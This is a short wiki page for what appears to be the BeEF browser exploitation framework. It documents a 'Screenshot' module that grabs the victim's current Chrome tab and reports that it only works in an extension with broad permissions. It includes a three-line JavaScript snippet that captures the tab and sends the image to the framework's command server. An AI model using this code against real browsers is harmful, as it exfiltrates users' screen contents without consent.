-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Module: Screenshot
Jess Williams edited this page Jan 13, 2020
·
3 revisions
-
Objective: Take a screenshot of the current tab
-
Authors: mh
-
Browsers: Chrome
This module tries to take a screenshot of the current tab and returns it as base64 data. Only works if the chrome.tabs.captureVisibleTab
method is available.
As of 2019, it does not work in the newer versions of Chrome. This method only works within the context of an extension having the <all_urls>
permission.
chrome.tabs.captureVisibleTab(null, function(img) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'img: ' + img.toString());
});
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/Tabs/captureVisibleTab
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation
- Using-BeEF-With-NGROK